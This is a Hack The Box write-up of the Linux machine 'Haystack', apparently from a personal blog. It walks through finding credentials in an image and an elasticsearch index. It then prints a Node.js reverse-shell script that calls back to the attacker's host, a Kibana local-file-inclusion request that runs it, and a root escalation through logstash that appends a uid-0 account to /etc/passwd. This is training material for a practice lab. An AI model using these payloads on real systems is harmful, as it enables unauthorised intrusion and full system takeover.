Hack The Box - Haystack

Quick Summary

Hey guys, today Haystack retired and here’s my write-up about it. It was an easy fun box and I liked the privilege escalation part. It’s a Linux box and its ip is 10.10.10.115 , I added it to /etc/hosts as haystack.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

root@kali:~/Desktop/HTB/boxes/haystack# nmap -sV -sT -sC -o nmapinitial haystack.htb

Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-01 17:33 EET

Nmap scan report for haystack.htb (10.10.10.115)

Host is up (0.59s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)

| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)

|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)

80/tcp open http nginx 1.12.2

|_http-server-header: nginx/1.12.2

|_http-title: Site doesn't have a title (text/html).

9200/tcp open http nginx 1.12.2

| http-methods:

|_ Potentially risky methods: DELETE

|_http-server-header: nginx/1.12.2

|_http-title: Site doesn't have a title (application/json; charset=UTF-8).



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 218.48 seconds

root@kali:~/Desktop/HTB/boxes/haystack#



We got http on 2 ports 80 and 9200, and we got ssh on port 22, Let’s explore the web services.

Web Enumeration

On port 80 the index page had an image of a needle and nothing else:



1

2

3

4

5

< html >

< body >

< img src = "needle.jpg" />

</ body >

</ html >



On port 9200 there was an elasticsearch instance running:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

root@kali:~/Desktop/HTB/boxes/haystack# curl http://haystack.htb:9200/

{

"name" : "iQEYHgS" ,

"cluster_name" : "elasticsearch" ,

"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg" ,

"version" : {

"number" : "6.4.2" ,

"build_flavor" : "default" ,

"build_type" : "rpm" ,

"build_hash" : "04711c2" ,

"build_date" : "2018-09-26T13:34:09.098244Z" ,

"build_snapshot" : false ,

"lucene_version" : "7.4.0" ,

"minimum_wire_compatibility_version" : "5.6.0" ,

"minimum_index_compatibility_version" : "5.0.0"

},

"tagline" : "You Know, for Search"

}



Elasticsearch is a distributed, RESTful search and analytics engine capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected. -elastic.co

On port 80 I tried running gobuster but I got nothing:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

root@kali:~/Desktop/HTB/boxes/haystack# gobuster -u http://haystack.htb/ -w /usr/share/wordlists/dirb/common.txt

=====================================================

Gobuster v2.0.1 OJ Reeves (@TheColonial)

=====================================================

[+] Mode : dir

[+] Url/Domain : http://haystack.htb/

[+] Threads : 10

[+] Wordlist : /usr/share/wordlists/dirb/common.txt

[+] Status codes : 200,204,301,302,307,403

[+] Timeout : 10s

=====================================================

2019/11/01 17:44:51 Starting gobuster

=====================================================

/index.html (Status: 200)

=====================================================

2019/11/01 17:47:06 Finished

=====================================================



I also enumerated vhosts and got no results.

Steg in needle.jpg, SSH creds from elasticsearch, User Flag

I downloaded the image from the index page to check if there’s any kind of steganography:

1

2

3

4

5

6

7

8

9

10

11

root@kali:~/Desktop/HTB/boxes/haystack# wget http://haystack.htb/needle.jpg

--2019-11-01 17:48:29-- http://haystack.htb/needle.jpg

Resolving haystack.htb (haystack.htb)... 10.10.10.115

Connecting to haystack.htb (haystack.htb)|10.10.10.115|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 182982 (179K) [image/jpeg]

Saving to: ‘needle.jpg’



needle.jpg 100%[=====================================================================================================================>] 178.69K 80.2KB/s in 2.2s

2019-11-01 17:48:32 (80.2 KB/s) - ‘needle.jpg’ saved [182982/182982]

root@kali:~/Desktop/HTB/boxes/haystack#



By running strings on the image I found a base-64 encoded string:

1

2

3

4

5

6

7

root@kali:~/Desktop/HTB/boxes/haystack# strings needle.jpg

JFIF

Exif

paint.net 4.1.1

UNICODE

---

bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==



After decoding it I got a Spanish sentence:

1

2

3

root@kali:~/Desktop/HTB/boxes/haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d

la aguja en el pajar es "clave"

root@kali:~/Desktop/HTB/boxes/haystack#



Translation:

1

la aguja en el pajar es "clave" => the needle in the haystack is "key"



Back to the elasticsearch instance I searched for the word clave and got some interesting quotes in Spanish with some base-64 encoded strings:

1

2

3

root@kali:~/Desktop/HTB/boxes/haystack# curl http://haystack.htb:9200/_search?q=clave

{ "took" : 19 , "timed_out" : false , "_shards" :{ "total" : 11 , "successful" : 11 , "skipped" : 0 , "failed" : 0 }, "hits" :{ "total" : 2 , "max_score" : 5.9335938 , "hits" :[{ "_index" : "quotes" , "_type" : "quote" , "_id" : "45" , "_score" : 5.9335938 , "_source" :{ "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " }},{ "_index" : "quotes" , "_type" : "quote" , "_id" : "111" , "_score" : 5.3459888 , "_source" :{ "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" }}]}}

root@kali:~/Desktop/HTB/boxes/haystack#



After translation and decoding:

1

2

3

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg => I have to save the password for the machine: user: security



Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk= => This key cannot be lost, I keep it here: pass: spanish.is.key



We can ssh into the box with these creds security : spanish.is.key :



We owned user.

Shell as kibana

After getting ssh access I ran pspy to monitor the processes, I noticed that logstash was running as root:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

2019/11/01 15:05:08 CMD: UID=0 PID=6387 | /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=tr

ue -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sni

ffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_

prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib

/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jack

son-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/ja

nino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/u

sr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstas

h/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expres

sions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core

/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/

share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.ecli

pse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core

/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash



Logstash is an open source, server-side data processing pipeline that ingests data from a multitude of sources simultaneously, transforms it, and then sends it to your favorite “stash.” -elastic.co

But as security I couldn’t read the configuration files of logstash :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

[security@haystack tmp]$ cd /etc/logstash/conf.d/

[security@haystack conf.d]$ ls -al

total 12

drwxrwxr-x. 2 root kibana 62 Jun 24 08:12 .

drwxr-xr-x. 3 root root 183 Jun 18 22:15 ..

-rw-r-----. 1 root kibana 131 Jun 20 10:59 filter.conf

-rw-r-----. 1 root kibana 186 Jun 24 08:12 input.conf

-rw-r-----. 1 root kibana 109 Jun 24 08:12 output.conf

[security@haystack conf.d]$ cat input.conf

cat: input.conf: Permission denied

[security@haystack conf.d]$ cat filter.conf

cat: filter.conf: Permission denied

[security@haystack conf.d]$ cat output.conf

cat: output.conf: Permission denied

[security@haystack conf.d]$



As you can see, the user kibana can read them, so we need to be kibana and to be the user kibana we have to exploit the service itself.

By looking at the open ports we can see that port 5601 which is the default port for kibana is open:

1

2

3

4

5

6

7

8

9

10

11

12

[security@haystack conf.d]$ ss -lnt

State Recv-Q Send-Q Local Address:Port Peer Address:Port

LISTEN 0 128 *:80 *:*

LISTEN 0 128 *:9200 *:*

LISTEN 0 128 *:22 *:*

LISTEN 0 128 127.0.0.1:5601 *:*

LISTEN 0 128 ::ffff:127.0.0.1:9000 :::*

LISTEN 0 128 :::80 :::*

LISTEN 0 128 ::ffff:127.0.0.1:9300 :::*

LISTEN 0 128 :::22 :::*

LISTEN 0 50 ::ffff:127.0.0.1:9600 :::*

[security@haystack conf.d]$



Kibana lets you visualize your Elasticsearch data and navigate the Elastic Stack so you can do anything from tracking query load to understanding the way requests flow through your apps. -elastic.co

I forwarded the port:

1

2

3

4

root@kali:~/Desktop/HTB/boxes/haystack# ssh -L 5601:127.0.0.1:5601 security@haystack.htb

security@haystack.htb's password:

Last login: Fri Nov 1 15:10:02 2019 from 10.10.15.229

[security@haystack ~]$





I checked the version and found that it was 6.4.2:



After a quick search I found that this version is vulnerable to a local file inclusion vulnerability.

So I uploaded a js shell to /dev/shm :

1

2

3

4

5

6

[security@haystack conf.d]$ cd /dev/shm/

[security@haystack shm]$ curl http://10.10.xx.xx/shell.js > shell.js

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 383 100 383 0 0 382 0 0:00:01 0:00:01 --:--:-- 383

[security@haystack shm]$



shell.js :

1

2

3

4

5

6

7

8

9

10

11

12

( function ( ) {

var net = require ( "net" ),

cp = require ( "child_process" ),

sh = cp.spawn( "/bin/sh" , []);

var client = new net.Socket();

client.connect( 1337 , "10.10.xx.xx" , function ( ) {

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/ ;

})();



Then I applied the POC and got a reverse shell as kibana :

1

[security@haystack shm]$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js'



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

root@kali:~/Desktop/HTB/boxes/haystack# nc -lvnp 1337

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Listening on :::1337

Ncat: Listening on 0.0.0.0:1337

Ncat: Connection from 10.10.10.115.

Ncat: Connection from 10.10.10.115:44210.

whoami

kibana

which python

/usr/bin/python

python -c "import pty;pty.spawn('/bin/bash')"

bash-4.2$ ^Z

[1]+ Stopped nc -lvnp 1337

root@kali:~/Desktop/HTB/boxes/haystack# stty raw -echo

root@kali:~/Desktop/HTB/boxes/haystack# nc -lvnp 1337



bash-4.2$

bash-4.2$ export TERM=screen

bash-4.2$



Exploiting logstash, Root Shell

Now we can read the configuration files:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

bash-4.2$ cd /etc/logstash/conf.d/

bash-4.2$ cat *

filter {

if [type] == "execute" {

grok {

match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }

}

}

}

input {

file {

path => "/opt/kibana/logstash_*"

start_position => "beginning"

sincedb_path => "/dev/null"

stat_interval => "10 second"

type => "execute"

mode => "read"

}

}

output {

if [type] == "execute" {

stdout { codec => json }

exec {

command => "%{comando} &"

}

}

}

bash-4.2$



By reading the input and filter configuration files and with the help of the documentation we will figure out what to do.

We need to create an input file of the type execute and put whatever command we need to execute in it, to create a valid execute input file it needs to be in /opt/kibana/ and named according to the following pattern logstash_[Anything] :

1

2

3

4

5

6

input {

file {

path => "/opt/kibana/logstash_*"

---

type => "execute"

}



It also needs to pass the filter, we need to put Ejecutar comando : (translates to: Execute command : ) before the command:

1

2

3

4

5

6

7

filter {

if [type] == "execute" {

grok {

match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }

}

}

}



I created a file called root.sh that echoes rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash to /etc/passwd (This will make us able to su as rooot : AAAA . Check Ghoul):

1

2

3

4

5

bash-4.2$ vi /dev/shm/root.sh

bash-4.2$ cat /dev/shm/root.sh

#!/bin/bash

echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd

bash-4.2$



Then I created the input file and called it logstash_pwned , it will simply execute root.sh :

1

bash-4.2$ echo 'Ejecutar comando : sh /dev/shm/root.sh' > /opt/kibana/logstash_pwned



After 2 minutes approximately the command got executed and /etc/passwd was modified:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

bash-4.2$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

polkitd:x:999:998:User for polkitd:/:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

chrony:x:998:996::/var/lib/chrony:/sbin/nologin

security:x:1000:1000:security:/home/security:/bin/bash

elasticsearch:x:997:995:elasticsearch user:/nonexistent:/sbin/nologin

logstash:x:996:994:logstash:/usr/share/logstash:/sbin/nologin

nginx:x:995:993:Nginx web server:/var/lib/nginx:/sbin/nologin

kibana:x:994:992:kibana service user:/home/kibana:/sbin/nologin

rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

bash-4.2$ su rooot

Contraseña:

[root@haystack kibana]# whoami

root

[root@haystack kibana]# id

uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0

[root@haystack kibana]#





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Safe

Next Hack The Box write-up : Hack The Box - Jarvis